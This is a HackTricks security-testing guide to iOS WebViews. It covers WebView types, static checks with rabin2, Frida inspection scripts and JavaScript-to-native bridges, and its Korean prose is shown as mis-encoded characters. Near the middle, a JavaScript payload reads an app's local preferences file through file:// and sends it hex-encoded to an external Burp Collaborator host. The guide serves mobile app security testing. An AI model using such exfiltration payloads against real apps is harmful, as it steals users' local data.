iOS WebViews
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง์ ์ฝ๋๋ ์ฌ๊ธฐ์์ ์ถ์ถ๋์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์.
WebViews ์ ํ
WebViews๋ ์ ํ๋ฆฌ์ผ์ด์ ๋ด์์ ์น ์ฝํ ์ธ ๋ฅผ ๋ํํ์ผ๋ก ํ์ํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๋ค์ํ ์ ํ์ WebViews๋ iOS ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํด ์๋ก ๋ค๋ฅธ ๊ธฐ๋ฅ๊ณผ ๋ณด์ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ๊ฐ๋ตํ ๊ฐ์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
-
UIWebView๋ JavaScript ๋นํ์ฑํ ์ง์ ๋ถ์กฑ์ผ๋ก ์ธํด iOS 12๋ถํฐ ๋ ์ด์ ๊ถ์ฅ๋์ง ์์ผ๋ฉฐ, ์ด๋ ์คํฌ๋ฆฝํธ ์ฃผ์ ๋ฐ ๊ต์ฐจ ์ฌ์ดํธ ์คํฌ๋ฆฝํ (XSS) ๊ณต๊ฒฉ์ ์ทจ์ฝํ๊ฒ ๋ง๋ญ๋๋ค.
-
WKWebView๋ ์ฑ์ ์น ์ฝํ ์ธ ๋ฅผ ํตํฉํ๋ ๋ฐ ์ ํธ๋๋ ์ต์ ์ผ๋ก, ์ฝํ ์ธ ๋ฐ ๋ณด์ ๊ธฐ๋ฅ์ ๋ํ ํฅ์๋ ์ ์ด๋ฅผ ์ ๊ณตํฉ๋๋ค. JavaScript๋ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์์ง๋ง ํ์์ ๋ฐ๋ผ ๋นํ์ฑํํ ์ ์์ต๋๋ค. ๋ํ JavaScript๊ฐ ์๋์ผ๋ก ์ฐฝ์ ์ฌ๋ ๊ฒ์ ๋ฐฉ์งํ๋ ๊ธฐ๋ฅ์ ์ง์ํ๋ฉฐ, ๋ชจ๋ ์ฝํ ์ธ ๊ฐ ์์ ํ๊ฒ ๋ก๋๋๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ถ๊ฐ๋ก, WKWebView์ ์ํคํ ์ฒ๋ ๋ฉ๋ชจ๋ฆฌ ์์์ด ์ฃผ์ ์ฑ ํ๋ก์ธ์ค์ ์ํฅ์ ๋ฏธ์น ์ํ์ ์ต์ํํฉ๋๋ค.
-
SFSafariViewController๋ ์ฑ ๋ด์์ ํ์คํ๋ ์น ๋ธ๋ผ์ฐ์ง ๊ฒฝํ์ ์ ๊ณตํ๋ฉฐ, ์ฝ๊ธฐ ์ ์ฉ ์ฃผ์ ํ๋, ๊ณต์ ๋ฐ ํ์ ๋ฒํผ, Safari์์ ์ฝํ ์ธ ๋ฅผ ์ด๊ธฐ ์ํ ์ง์ ๋งํฌ๋ฅผ ํฌํจํ ํน์ ๋ ์ด์์์ผ๋ก ์ธ์๋ฉ๋๋ค. WKWebView์ ๋ฌ๋ฆฌ SFSafariViewController์์๋ JavaScript๋ฅผ ๋นํ์ฑํํ ์ ์์ผ๋ฉฐ, Safari์ ์ฟ ํค ๋ฐ ๋ฐ์ดํฐ๋ฅผ ๊ณต์ ํ์ฌ ์ฑ์์ ์ฌ์ฉ์ ๊ฐ์ธ ์ ๋ณด๋ฅผ ์ ์งํฉ๋๋ค. App Store ๊ฐ์ด๋๋ผ์ธ์ ๋ฐ๋ผ ๋์ ์ ๋๊ฒ ํ์๋์ด์ผ ํฉ๋๋ค.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
WebViews ๊ตฌ์ฑ ํ์ ์์ฝ
์ ์ ๋ถ์ ๊ฐ์
WebViews ๊ตฌ์ฑ ๊ฒํ ๊ณผ์ ์์ ๋ ๊ฐ์ง ์ฃผ์ ์ ํ์ ์ด์ ์ ๋ง์ถฅ๋๋ค: UIWebView์ WKWebView. ์ด WebViews๋ฅผ ๋ฐ์ด๋๋ฆฌ ๋ด์์ ์๋ณํ๊ธฐ ์ํด ํน์ ํด๋์ค ์ฐธ์กฐ ๋ฐ ์ด๊ธฐํ ๋ฉ์๋๋ฅผ ๊ฒ์ํ๋ ๋ช ๋ น์ด ์ฌ์ฉ๋ฉ๋๋ค.
- UIWebView ์๋ณ
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
์ด ๋ช ๋ น์ ์ด์ง ํ์ผ์์ ๊ด๋ จ ํ ์คํธ ๋ฌธ์์ด์ ๊ฒ์ํ์ฌ UIWebView ์ธ์คํด์ค๋ฅผ ์ฐพ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
- WKWebView ์๋ณ
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
์ ์ฌํ๊ฒ, WKWebView์ ๊ฒฝ์ฐ, ์ด ๋ช ๋ น์ ์ฌ์ฉ์ ๋ํ๋ด๋ ํ ์คํธ ๋ฌธ์์ด์ ์ด์ง ํ์ผ์์ ๊ฒ์ํฉ๋๋ค.
๋ํ, WKWebView๊ฐ ์ด๋ป๊ฒ ์ด๊ธฐํ๋๋์ง๋ฅผ ์ฐพ๊ธฐ ์ํด, ๋ค์ ๋ช ๋ น์ด ์คํ๋๋ฉฐ, ์ด๊ธฐํ์ ๊ด๋ จ๋ ๋ฉ์๋ ์๊ทธ๋์ฒ๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
JavaScript ๊ตฌ์ฑ ํ์ธ
WKWebView์ ๊ฒฝ์ฐ, ํ์ํ์ง ์๋ ํ JavaScript๋ฅผ ๋นํ์ฑํํ๋ ๊ฒ์ด ๋ชจ๋ฒ ์ฌ๋ก๋ก ๊ฐ์กฐ๋ฉ๋๋ค. ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๊ฒ์ํ์ฌ javaScriptEnabled ์์ฑ์ด false๋ก ์ค์ ๋์ด ์๋์ง ํ์ธํ์ฌ JavaScript๊ฐ ๋นํ์ฑํ๋์๋์ง ํ์ธํฉ๋๋ค:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
์ค์ง ์์ ํ ์ฝํ ์ธ ๊ฒ์ฆ
WKWebView๋ UIWebView์ ๋์กฐ์ ์ผ๋ก ํผํฉ ์ฝํ
์ธ ๋ฌธ์ ๋ฅผ ์๋ณํ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ์ด๋ ๋ชจ๋ ํ์ด์ง ๋ฆฌ์์ค๊ฐ ์์ ํ ์ฐ๊ฒฐ์ ํตํด ๋ก๋๋๋๋ก ๋ณด์ฅํ๊ธฐ ์ํด hasOnlySecureContent ์์ฑ์ ์ฌ์ฉํ์ฌ ํ์ธ๋ฉ๋๋ค. ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ์์์ ๊ฒ์์ ๋ค์๊ณผ ๊ฐ์ด ์ํ๋ฉ๋๋ค:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
๋์ ๋ถ์ ํต์ฐฐ๋ ฅ
๋์ ๋ถ์์ WebView ์ธ์คํด์ค์ ๊ทธ ์์ฑ์ ๊ฒ์ฌํ๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ์ด๋ฅผ ์ํด webviews_inspector.js๋ผ๋ ์คํฌ๋ฆฝํธ๊ฐ ์ฌ์ฉ๋๋ฉฐ, UIWebView, WKWebView, ๋ฐ SFSafariViewController ์ธ์คํด์ค๋ฅผ ๋์์ผ๋ก ํฉ๋๋ค. ์ด ์คํฌ๋ฆฝํธ๋ ๋ฐ๊ฒฌ๋ ์ธ์คํด์ค์ ๋ํ ์ ๋ณด, URL ๋ฐ JavaScript์ ๋ณด์ ์ฝํ
์ธ ์ ๊ด๋ จ๋ ์ค์ ์ ๊ธฐ๋กํฉ๋๋ค.
ํ ๊ฒ์ฌ๋ ObjC.choose()๋ฅผ ์ฌ์ฉํ์ฌ WebView ์ธ์คํด์ค๋ฅผ ์๋ณํ๊ณ javaScriptEnabled ๋ฐ hasonlysecurecontent ์์ฑ์ ํ์ธํ๋ ๋ฐฉ์์ผ๋ก ์ํํ ์ ์์ต๋๋ค.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
์คํฌ๋ฆฝํธ๋ ๋ค์๊ณผ ๊ฐ์ด ์คํ๋ฉ๋๋ค:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
์ฃผ์ ๊ฒฐ๊ณผ:
- WebViews์ ์ธ์คํด์ค๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์์น ํ์ธ ๋ฐ ๊ฒ์ฌ๋จ.
- JavaScript ํ์ฑํ ๋ฐ ๋ณด์ ์ฝํ ์ธ ์ค์ ์ด ๊ฒ์ฆ๋จ.
์ด ์์ฝ์ JavaScript ํ์ฑํ ๋ฐ ํผํฉ ์ฝํ ์ธ ๊ฐ์ง์ ๊ฐ์ ๋ณด์ ๊ธฐ๋ฅ์ ์ค์ ์ ๋๊ณ ์ ์ ๋ฐ ๋์ ์ ๊ทผ ๋ฐฉ์์ ํตํด WebView ๊ตฌ์ฑ ๋ถ์์ ๊ด๋ จ๋ ์ค์ํ ๋จ๊ณ์ ๋ช ๋ น์ ์์ฝํฉ๋๋ค.
WebView ํ๋กํ ์ฝ ์ฒ๋ฆฌ
WebViews์์ ์ฝํ
์ธ ๋ฅผ ์ฒ๋ฆฌํ๋ ๊ฒ์ ์ค์ํ ์ธก๋ฉด์ผ๋ก, http(s)://, file://, tel://์ ๊ฐ์ ๋ค์ํ ํ๋กํ ์ฝ์ ๋ค๋ฃฐ ๋ ํนํ ๊ทธ๋ ์ต๋๋ค. ์ด๋ฌํ ํ๋กํ ์ฝ์ ์ฑ ๋ด์์ ์๊ฒฉ ๋ฐ ๋ก์ปฌ ์ฝํ
์ธ ๋ฅผ ๋ก๋ํ ์ ์๊ฒ ํด์ค๋๋ค. ๋ก์ปฌ ์ฝํ
์ธ ๋ฅผ ๋ก๋ํ ๋๋ ์ฌ์ฉ์๊ฐ ํ์ผ์ ์ด๋ฆ์ด๋ ๊ฒฝ๋ก์ ์ํฅ์ ๋ฏธ์น๊ฑฐ๋ ์ฝํ
์ธ ์์ฒด๋ฅผ ํธ์งํ์ง ๋ชปํ๋๋ก ์ฃผ์ํด์ผ ํ๋ค๋ ์ ์ด ๊ฐ์กฐ๋ฉ๋๋ค.
WebViews๋ ์ฝํ
์ธ ๋ก๋ฉ์ ์ํ ๋ค์ํ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. ์ด์ ๋ ์ด์ ์ฌ์ฉ๋์ง ์๋ UIWebView์ ๊ฒฝ์ฐ loadHTMLString:baseURL: ๋ฐ loadData:MIMEType:textEncodingName:baseURL:์ ๊ฐ์ ๋ฉ์๋๊ฐ ์ฌ์ฉ๋ฉ๋๋ค. ๋ฐ๋ฉด WKWebView๋ ์น ์ฝํ
์ธ ๋ฅผ ์ํด loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, loadRequest:๋ฅผ ์ฌ์ฉํฉ๋๋ค. ๋ก์ปฌ ํ์ผ์ ๋ก๋ํ๊ธฐ ์ํด ์ผ๋ฐ์ ์ผ๋ก pathForResource:ofType:, URLForResource:withExtension:, init(contentsOf:encoding:)์ ๊ฐ์ ๋ฉ์๋๊ฐ ํ์ฉ๋ฉ๋๋ค. loadFileURL:allowingReadAccessToURL: ๋ฉ์๋๋ ํน์ URL์ด๋ ๋๋ ํ ๋ฆฌ๋ฅผ WebView์ ๋ก๋ํ ์ ์๋ ๋ฅ๋ ฅ์ผ๋ก ํนํ ์ฃผ๋ชฉํ ๋งํ๋ฉฐ, ๋๋ ํ ๋ฆฌ๊ฐ ์ง์ ๋ ๊ฒฝ์ฐ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๊ฐ ๋
ธ์ถ๋ ์ ์์ต๋๋ค.
์์ค ์ฝ๋๋ ์ปดํ์ผ๋ ๋ฐ์ด๋๋ฆฌ์์ ์ด๋ฌํ ๋ฉ์๋๋ฅผ ์ฐพ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ๋ช ๋ น์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
ํ์ผ ์ ๊ทผ์ ๊ดํ์ฌ, UIWebView๋ ์ด๋ฅผ ๋ณดํธ์ ์ผ๋ก ํ์ฉํ๋ ๋ฐ๋ฉด, WKWebView๋ ํ์ผ URL์์์ ์ ๊ทผ์ ๊ด๋ฆฌํ๊ธฐ ์ํด allowFileAccessFromFileURLs ๋ฐ allowUniversalAccessFromFileURLs ์ค์ ์ ๋์
ํ๋ฉฐ, ๋ ์ค์ ๋ชจ๋ ๊ธฐ๋ณธ๊ฐ์ false์
๋๋ค.
๋ณด์ ์ค์ ์ ๊ฒ์ฌํ๊ธฐ ์ํ WKWebView ๊ตฌ์ฑ์ Frida ์คํฌ๋ฆฝํธ ์์ ๊ฐ ์ ๊ณต๋ฉ๋๋ค:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
๋ง์ง๋ง์ผ๋ก, ๋ก์ปฌ ํ์ผ์ ์ ์ถํ๊ธฐ ์ํ JavaScript ํ์ด๋ก๋์ ์๋ ์๋ชป ๊ตฌ์ฑ๋ WebViews์ ๊ด๋ จ๋ ์ ์ฌ์ ์ธ ๋ณด์ ์ํ์ ๋ณด์ฌ์ค๋๋ค. ์ด ํ์ด๋ก๋๋ ํ์ผ ๋ด์ฉ์ 16์ง์ ํ์์ผ๋ก ์ธ์ฝ๋ฉํ ํ ์๋ฒ๋ก ์ ์กํ์ฌ WebView ๊ตฌํ์์ ์๊ฒฉํ ๋ณด์ ์กฐ์น์ ์ค์์ฑ์ ๊ฐ์กฐํฉ๋๋ค.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Native Methods Exposed Through WebViews
Understanding WebView Native Interfaces in iOS
iOS 7๋ถํฐ Apple์ WebView์ JavaScript์ ๋ค์ดํฐ๋ธ Swift ๋๋ Objective-C ๊ฐ์ฒด ๊ฐ์ ํต์ ์ ์ํ API๋ฅผ ์ ๊ณตํ์ต๋๋ค. ์ด ํตํฉ์ ์ฃผ๋ก ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ ํตํด ์ด๋ฃจ์ด์ง๋๋ค:
- JSContext: Swift ๋๋ Objective-C ๋ธ๋ก์ด
JSContext๋ด์ ์๋ณ์์ ์ฐ๊ฒฐ๋ ๋ JavaScript ํจ์๊ฐ ์๋์ผ๋ก ์์ฑ๋ฉ๋๋ค. ์ด๋ฅผ ํตํด JavaScript์ ๋ค์ดํฐ๋ธ ์ฝ๋ ๊ฐ์ ์ํํ ํตํฉ ๋ฐ ํต์ ์ด ๊ฐ๋ฅํฉ๋๋ค. - JSExport Protocol:
JSExportํ๋กํ ์ฝ์ ์์ํจ์ผ๋ก์จ ๋ค์ดํฐ๋ธ ์์ฑ, ์ธ์คํด์ค ๋ฉ์๋ ๋ฐ ํด๋์ค ๋ฉ์๋๋ฅผ JavaScript์ ๋ ธ์ถํ ์ ์์ต๋๋ค. ์ด๋ JavaScript ํ๊ฒฝ์์ ์ด๋ฃจ์ด์ง ๋ชจ๋ ๋ณ๊ฒฝ ์ฌํญ์ด ๋ค์ดํฐ๋ธ ํ๊ฒฝ์ ๋ฐ์๋๊ณ ๊ทธ ๋ฐ๋๋ ๋ง์ฐฌ๊ฐ์ง์์ ์๋ฏธํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ฐฉ๋ฒ์ ํตํด ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๊ฐ ์ฐ์ฐํ ๋ ธ์ถ๋์ง ์๋๋ก ํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
Accessing JSContext in Objective-C
Objective-C์์ UIWebView์ JSContext๋ ๋ค์ ์ฝ๋ ํ ์ค๋ก ๊ฒ์ํ ์ ์์ต๋๋ค:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
WKWebView์์ ํต์
WKWebView์ ๊ฒฝ์ฐ, JSContext์ ์ง์ ์ ๊ทผํ ์ ์์ต๋๋ค. ๋์ , postMessage ํจ์๋ฅผ ํตํด ๋ฉ์์ง ์ ๋ฌ์ด ์ฌ์ฉ๋์ด JavaScript์ ๋ค์ดํฐ๋ธ ๊ฐ์ ํต์ ์ด ๊ฐ๋ฅํด์ง๋๋ค. ์ด๋ฌํ ๋ฉ์์ง์ ๋ํ ํธ๋ค๋ฌ๋ ๋ค์๊ณผ ๊ฐ์ด ์ค์ ๋์ด JavaScript๊ฐ ๋ค์ดํฐ๋ธ ์ ํ๋ฆฌ์ผ์ด์
๊ณผ ์์ ํ๊ฒ ์ํธ์์ฉํ ์ ์๋๋ก ํฉ๋๋ค:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
์ํธ์์ฉ ๋ฐ ํ ์คํธ
JavaScript๋ ์คํฌ๋ฆฝํธ ๋ฉ์์ง ํธ๋ค๋ฌ๋ฅผ ์ ์ํ์ฌ ๋ค์ดํฐ๋ธ ๋ ์ด์ด์ ์ํธ์์ฉํ ์ ์์ต๋๋ค. ์ด๋ฅผ ํตํด ์นํ์ด์ง์์ ๋ค์ดํฐ๋ธ ํจ์๋ฅผ ํธ์ถํ๋ ๋ฑ์ ์์ ์ด ๊ฐ๋ฅํฉ๋๋ค:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
๋ค์ดํฐ๋ธ ํจ์ ํธ์ถ์ ๊ฒฐ๊ณผ๋ฅผ ์บก์ฒํ๊ณ ์กฐ์ํ๊ธฐ ์ํด, HTML ๋ด์์ ์ฝ๋ฐฑ ํจ์๋ฅผ ์ค๋ฒ๋ผ์ด๋ํ ์ ์์ต๋๋ค:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
๋ค์ดํฐ๋ธ ์ธก์ JavaScriptBridgeMessageHandler ํด๋์ค์์ ๋ณด์ฌ์ค ๊ฒ์ฒ๋ผ JavaScript ํธ์ถ์ ์ฒ๋ฆฌํ๋ฉฐ, ์ซ์ ๊ณฑ์
๊ณผ ๊ฐ์ ์์
์ ๊ฒฐ๊ณผ๋ฅผ ์ฒ๋ฆฌํ์ฌ JavaScript๋ก ๋ค์ ์ ์กํ์ฌ ํ์ํ๊ฑฐ๋ ์ถ๊ฐ ์กฐ์์ ์ํํฉ๋๋ค:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS WebViews ๋๋ฒ๊น
(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)
iOS webviews ๋ด์ ์น ์ฝํ
์ธ ๋ฅผ ํจ๊ณผ์ ์ผ๋ก ๋๋ฒ๊น
ํ๋ ค๋ฉด console.log()์ ์ ์ก๋ ๋ฉ์์ง๊ฐ Xcode ๋ก๊ทธ์ ํ์๋์ง ์๊ธฐ ๋๋ฌธ์ Safari์ ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ํฌํจํ ํน์ ์ค์ ์ด ํ์ํฉ๋๋ค. ๋ค์์ ์ฃผ์ ๋จ๊ณ์ ์๊ตฌ ์ฌํญ์ ๊ฐ์กฐํ ๊ฐ๋จํ ๊ฐ์ด๋์
๋๋ค:
-
iOS ๊ธฐ๊ธฐ ์ค๋น: iOS ๊ธฐ๊ธฐ์์ Safari ์น ๊ฒ์ฌ๊ธฐ๋ฅผ ํ์ฑํํด์ผ ํฉ๋๋ค. ์ด๋ ์ค์ > Safari > ๊ณ ๊ธ์ผ๋ก ์ด๋ํ์ฌ _์น ๊ฒ์ฌ๊ธฐ_๋ฅผ ํ์ฑํํจ์ผ๋ก์จ ์ํ๋ฉ๋๋ค.
-
macOS ๊ธฐ๊ธฐ ์ค๋น: macOS ๊ฐ๋ฐ ๋จธ์ ์์ Safari ๋ด์ ๊ฐ๋ฐ์ ๋๊ตฌ๋ฅผ ํ์ฑํํด์ผ ํฉ๋๋ค. Safari๋ฅผ ์คํํ๊ณ Safari > ํ๊ฒฝ์ค์ > ๊ณ ๊ธ์ผ๋ก ์ ๊ทผํ ํ ๊ฐ๋ฐ ๋ฉ๋ด ํ์ ์ต์ ์ ์ ํํฉ๋๋ค.
-
์ฐ๊ฒฐ ๋ฐ ๋๋ฒ๊น : iOS ๊ธฐ๊ธฐ๋ฅผ macOS ์ปดํจํฐ์ ์ฐ๊ฒฐํ๊ณ ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ ํ, macOS ๊ธฐ๊ธฐ์์ Safari๋ฅผ ์ฌ์ฉํ์ฌ ๋๋ฒ๊น ํ ์น๋ทฐ๋ฅผ ์ ํํฉ๋๋ค. Safari์ ๋ฉ๋ด ๋ฐ์์ _๊ฐ๋ฐ_๋ก ์ด๋ํ๊ณ iOS ๊ธฐ๊ธฐ ์ด๋ฆ ์์ ๋ง์ฐ์ค๋ฅผ ์ฌ๋ ค ์น๋ทฐ ์ธ์คํด์ค ๋ชฉ๋ก์ ํ์ธํ ํ, ๊ฒ์ฌํ ์ธ์คํด์ค๋ฅผ ์ ํํฉ๋๋ค. ์ด ๋ชฉ์ ์ ์ํด ์๋ก์ด Safari ์น ๊ฒ์ฌ๊ธฐ ์ฐฝ์ด ์ด๋ฆฝ๋๋ค.
๊ทธ๋ฌ๋ ์ ํ ์ฌํญ์ ์ ์ํ์ญ์์ค:
- ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋๋ฒ๊น ํ๋ ค๋ฉด macOS ๊ธฐ๊ธฐ๊ฐ ํ์ํฉ๋๋ค. ์ด๋ Safari์ ์์กดํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
- Xcode๋ฅผ ํตํด ๊ธฐ๊ธฐ์ ๋ก๋๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ์น๋ทฐ๋ง ๋๋ฒ๊น ํ ์ ์์ต๋๋ค. App Store ๋๋ Apple Configurator๋ฅผ ํตํด ์ค์น๋ ์ฑ์ ์น๋ทฐ๋ ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋๋ฒ๊น ํ ์ ์์ต๋๋ค.
์ฐธ๊ณ ๋ฌธํ
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


